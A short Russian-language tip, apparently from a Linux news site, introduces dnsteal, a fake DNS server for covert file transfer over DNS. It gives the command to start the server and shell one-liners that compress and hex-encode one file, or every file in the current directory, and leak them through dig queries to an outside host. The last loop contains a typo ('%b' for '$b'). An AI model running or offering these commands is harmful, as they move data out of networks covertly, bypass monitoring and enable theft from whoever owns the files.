

Скрытая отправка файлов DNS

В рамках проекта <https://github.com/m57/dnsteal> развивается фиктивный DNS-сервер, позволяющий организовать скрытую отставку файлов по протоколу DNS, используя штатные системные утилиты резолвинга. Для уменьшения трафика поддерживается сжатие передаваемого содержимого.

Запускаем сервер ("-z" - включает сжатие):

```
python dnsteal.py 192.168.1.1 -z
```

Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен dnsteal, достаточно выполнить:

```
for b in $(gzip -c send.txt | xxd -p); do dig @192.168.1.1 $b.filename.com; done
```

Для отправки всех файлов из текущей директории

```
for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done
```